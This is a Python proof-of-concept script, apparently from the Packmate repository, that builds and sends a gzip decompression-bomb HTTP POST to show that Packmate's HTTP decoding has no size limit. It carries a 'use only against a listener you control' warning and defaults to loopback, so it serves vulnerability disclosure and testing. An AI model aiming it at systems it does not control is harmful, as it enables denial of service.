mirror of
https://github.com/Av0idD4rk/packmate.git
synced 2026-10-23 14:31:01 +00:00
141 lines
4.6 KiB
Python
141 lines
4.6 KiB
Python
#!/usr/bin/env python3
|
|
"""Send a small gzip-compressed HTTP request with a configurable decoded size.
|
|
|
|
The target must have a TCP listener on the selected port. Packmate must capture
|
|
that connection and have the port configured as an HTTP service.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import socket
|
|
import sys
|
|
import zlib
|
|
|
|
|
|
CHUNK_SIZE = 1024 * 1024
|
|
DEFAULT_DECOMPRESSED_BYTES = 8 * 1024 * 1024
|
|
|
|
|
|
def byte_count(value: str) -> int:
|
|
"""Parse a positive byte count, optionally with KiB/MiB/GiB suffixes."""
|
|
suffixes = {
|
|
"": 1,
|
|
"b": 1,
|
|
"kib": 1024,
|
|
"mib": 1024**2,
|
|
"gib": 1024**3,
|
|
"kb": 1000,
|
|
"mb": 1000**2,
|
|
"gb": 1000**3,
|
|
}
|
|
normalized = value.strip().lower()
|
|
number = normalized
|
|
suffix = ""
|
|
for candidate in sorted(suffixes, key=len, reverse=True):
|
|
if candidate and normalized.endswith(candidate):
|
|
number = normalized[: -len(candidate)]
|
|
suffix = candidate
|
|
break
|
|
try:
|
|
result = int(number) * suffixes[suffix]
|
|
except (KeyError, ValueError) as exc:
|
|
raise argparse.ArgumentTypeError(
|
|
"use an integer byte count, optionally with KiB/MiB/GiB"
|
|
) from exc
|
|
if result <= 0:
|
|
raise argparse.ArgumentTypeError("the decoded size must be greater than zero")
|
|
return result
|
|
|
|
|
|
def gzip_repeated_bytes(decoded_size: int, fill_byte: int = ord("A")) -> bytes:
|
|
"""Create gzip data without allocating the decoded representation."""
|
|
compressor = zlib.compressobj(level=9, wbits=16 + zlib.MAX_WBITS)
|
|
compressed_parts: list[bytes] = []
|
|
full_chunk = bytes([fill_byte]) * CHUNK_SIZE
|
|
remaining = decoded_size
|
|
|
|
while remaining:
|
|
current_size = min(remaining, CHUNK_SIZE)
|
|
compressed_parts.append(compressor.compress(full_chunk[:current_size]))
|
|
remaining -= current_size
|
|
|
|
compressed_parts.append(compressor.flush())
|
|
return b"".join(compressed_parts)
|
|
|
|
|
|
def build_request(host_header: str, path: str, decoded_size: int) -> tuple[bytes, int]:
|
|
body = gzip_repeated_bytes(decoded_size)
|
|
headers = (
|
|
f"POST {path} HTTP/1.1\r\n"
|
|
f"Host: {host_header}\r\n"
|
|
"Content-Type: application/octet-stream\r\n"
|
|
"Content-Encoding: gzip\r\n"
|
|
f"Content-Length: {len(body)}\r\n"
|
|
f"X-Packmate-Decoded-Bytes: {decoded_size}\r\n"
|
|
"Connection: close\r\n"
|
|
"\r\n"
|
|
).encode("ascii")
|
|
return headers + body, len(body)
|
|
|
|
|
|
def send_request(host: str, port: int, request: bytes, timeout: float) -> None:
|
|
with socket.create_connection((host, port), timeout=timeout) as connection:
|
|
connection.settimeout(timeout)
|
|
connection.sendall(request)
|
|
connection.shutdown(socket.SHUT_WR)
|
|
|
|
|
|
def parser() -> argparse.ArgumentParser:
|
|
result = argparse.ArgumentParser(
|
|
description=(
|
|
"Send a gzip HTTP POST to demonstrate Packmate's unbounded HTTP "
|
|
"decompression. Use only against a listener you control."
|
|
)
|
|
)
|
|
result.add_argument("--host", default="127.0.0.1", help="target host (default: loopback)")
|
|
result.add_argument("--port", required=True, type=int, help="target TCP port")
|
|
result.add_argument(
|
|
"--decompressed-bytes",
|
|
type=byte_count,
|
|
default=DEFAULT_DECOMPRESSED_BYTES,
|
|
help="decoded body size, e.g. 104857600 or 100MiB (default: 8MiB)",
|
|
)
|
|
result.add_argument("--path", default="/packmate-gzip-poc", help="HTTP request path")
|
|
result.add_argument("--timeout", default=10.0, type=float, help="connect/send timeout in seconds")
|
|
return result
|
|
|
|
|
|
def main() -> int:
|
|
args = parser().parse_args()
|
|
if not 1 <= args.port <= 65535:
|
|
print("error: port must be between 1 and 65535", file=sys.stderr)
|
|
return 2
|
|
if not args.path.startswith("/"):
|
|
print("error: path must start with '/'", file=sys.stderr)
|
|
return 2
|
|
|
|
request, compressed_size = build_request(
|
|
f"{args.host}:{args.port}", args.path, args.decompressed_bytes
|
|
)
|
|
ratio = args.decompressed_bytes / compressed_size
|
|
|
|
print(f"Target: {args.host}:{args.port}")
|
|
print(f"Compressed body: {compressed_size:,} bytes")
|
|
print(f"Decoded body: {args.decompressed_bytes:,} bytes")
|
|
print(f"Expansion ratio: {ratio:,.1f}x")
|
|
print(f"TCP bytes to send: {len(request):,} bytes")
|
|
|
|
try:
|
|
send_request(args.host, args.port, request, args.timeout)
|
|
except OSError as exc:
|
|
print(f"send failed: {exc}", file=sys.stderr)
|
|
return 1
|
|
|
|
print("Request sent. Wait for the stream to close or for Packmate's timeout.")
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|